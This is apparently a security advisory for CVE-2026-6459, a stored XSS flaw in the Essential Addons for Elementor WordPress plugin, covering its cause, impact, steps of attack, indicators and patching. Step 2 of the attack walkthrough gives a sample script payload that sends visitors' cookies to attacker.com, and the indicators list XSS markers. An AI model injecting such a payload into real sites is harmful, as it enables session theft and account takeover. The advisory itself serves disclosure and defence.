CVE-2026-6459: 
WordPress Analyse et atténuation des vulnérabilités

CVE-2026-6459 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress. It affects all versions up to and including 6.6.2, stemming from insufficient input sanitization and output escaping on event titles sourced from The Events Calendar plugin via the Event Calendar widget. The vulnerability was published on July 8, 2026, and a patch was made available the same day. It carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), specifically a stored XSS variant. The plugin fails to properly sanitize event titles ingested from The Events Calendar plugin before rendering them through the Event Calendar widget in Elementor-built pages. An authenticated attacker with Author-level access or higher can craft a malicious event title containing arbitrary JavaScript, which is then stored and subsequently executed in the browsers of any visitor accessing the affected page — no user interaction beyond page visit is required. The fix is tracked in the plugin's SVN changeset (WordPress Trac, GitHub Advisory).

Successful exploitation allows authenticated attackers to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can result in session token theft, unauthorized actions performed on behalf of victims (including privilege escalation if an administrator visits the page), content manipulation, and redirection to malicious sites. The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself, though availability is not directly impacted (Wordfence, GitHub Advisory).

1. Gain Author-level access: Obtain or compromise a WordPress account with at least Author-level privileges on a site running Essential Addons for Elementor ≤ 6.6.2 alongside The Events Calendar plugin.
2. Create or edit a malicious event: Using The Events Calendar, create or edit an event and inject a malicious JavaScript payload into the event title field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Publish the event: Save and publish the event so the malicious title is stored in the WordPress database.
4. Trigger execution: When any user (including administrators) visits a page that renders the Event Calendar widget displaying the poisoned event title, the injected script executes in their browser.
5. Harvest results: The attacker collects stolen session cookies, credentials, or other sensitive data from the victim's browser session, potentially enabling account takeover or further site compromise (Wordfence, GitHub Advisory).

• Logs: WordPress access logs showing repeated visits to pages containing the Event Calendar widget from unusual IP addresses; PHP error logs referencing the Essential Addons for Elementor plugin during event rendering.
• Database: Event titles in the WordPress wp_posts or related Events Calendar tables containing <script>, javascript:, onerror=, or other XSS payloads.
• Network: Outbound requests from victim browsers to unknown external domains immediately after loading pages with the Event Calendar widget (indicative of data exfiltration).
• File System: Unexpected modifications to plugin files under wp-content/plugins/essential-addons-for-elementor-lite/ that may indicate secondary tampering after initial compromise.

Site administrators should update the Essential Addons for Elementor plugin to a version beyond 6.6.2, which includes the fix introduced in SVN changeset 3519453 (WordPress Trac). As interim mitigations, restrict Author-level and above permissions to only fully trusted users, and implement a Content Security Policy (CSP) header to limit the impact of any injected scripts. Regularly audit user roles and monitor event entries in The Events Calendar for suspicious content (Wordfence).